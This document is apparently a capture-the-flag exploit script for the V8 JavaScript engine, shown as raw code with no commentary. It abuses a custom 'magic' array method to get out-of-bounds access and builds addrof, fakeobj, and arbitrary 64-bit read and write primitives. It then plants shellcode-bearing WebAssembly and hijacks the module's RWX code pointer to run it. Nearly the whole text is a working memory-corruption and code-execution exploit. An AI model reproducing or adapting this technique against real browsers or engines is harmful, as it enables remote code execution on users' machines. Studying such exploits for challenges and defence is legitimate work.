1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95
| let double_arrays = [];
for (let i = 0; i < 0x10; ++i) { let arr = [1.1, 2.2]; double_arrays.push(arr); }
for (let i = 0; i < 0x10; ++i) { double_arrays[i].length = 0x100; if (i == 3) { double_arrays[i].fill({}); } else { double_arrays[i].fill(1.1); } }
double_arrays[0].magic(0x100, 46); double_arrays[1][8000] = 4.4;
double_arrays[2].fill(3.3);
const oob_array = double_arrays[1]; const object_array = double_arrays[3];
const ab = new ArrayBuffer(8); const f64 = new Float64Array(ab); const u64 = new BigUint64Array(ab);
function addrof(o) { object_array[0] = o; f64[0] = oob_array[774]; return u64[0] >> 32n; }
function fakeobj(addr) { f64[0] = oob_array[774]; const temp = u64[0] & 0xFFFFFFFFn; u64[0] = temp + (addr << 32n); oob_array[774] = f64[0]; return object_array[0]; }
function f2i(f) { f64[0] = f; return u64[0]; }
function i2f(v) { u64[0] = v; return f64[0]; }
const target = [1.1, 2.2];
console.log(fakeobj(addrof(target))); let double_map_lo = f2i(oob_array[4011]) >> 32n; console.log(double_map_lo.toString(16)); let double_map_hi = f2i(oob_array[4012]) & 0xffffffffn; console.log(double_map_hi.toString(16)); let double_map = (double_map_hi << 32n) + double_map_lo; console.log(double_map.toString(16));
function read64(addr) { const readArr = [1.1, 2.2]; readArr[0] = i2f(double_map); readArr[1] = i2f(0x0000000200000000n + addr - 0x8n); return f2i(fakeobj(addrof(readArr) - 0x10n)[0]); }
function write64(addr, data) { const writeArr = [1.1, 2.2]; writeArr[0] = i2f(double_map); writeArr[1] = i2f(0x0000000200000000n + addr - 0x8n); const fakeArr = fakeobj(addrof(writeArr) - 0x10n); fakeArr[0] = i2f(data); }
var wasm_code = new Uint8Array([ 0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 3, 2, 0, 0, 5, 3, 1, 0, 1, 7, 19, 2, 7, 116, 114, 105, 103, 103, 101, 114, 0, 0, 5, 115, 104, 101, 108, 108, 0, 1, 10, 99, 2, 3, 0, 1, 11, 93, 0, 65, 0, 66, 212, 188, 197, 249, 143, 146, 228, 245, 9, 55, 3, 0, 65, 8, 66, 186, 161, 128, 128, 128, 128, 228, 245, 6, 55, 3, 0, 65, 16, 66, 177, 128, 191, 168, 128, 146, 228, 245, 6, 55, 3, 0, 65, 24, 66, 184, 247, 128, 128, 128, 128, 228, 245, 6, 55, 3, 0, 65, 32, 66, 212, 190, 197, 177, 159, 198, 244, 245, 6, 55, 3, 0, 65, 40, 66, 143, 138, 192, 132, 137, 146, 164, 200, 144, 127, 55, 3, 0, 11 ]);
var wasm_mod = new WebAssembly.Module(wasm_code); var wasm_instance = new WebAssembly.Instance(wasm_mod); var shell = wasm_instance.exports.shell; var trigger = wasm_instance.exports.trigger;
shell();
let leak = read64(addrof(wasm_instance) + 0xcn); console.log(leak.toString(16)); let rwx_addr = read64(leak + 0x28n); console.log(rwx_addr.toString(16)); write64(leak + 0x28n, rwx_addr + 0x9den); trigger();
|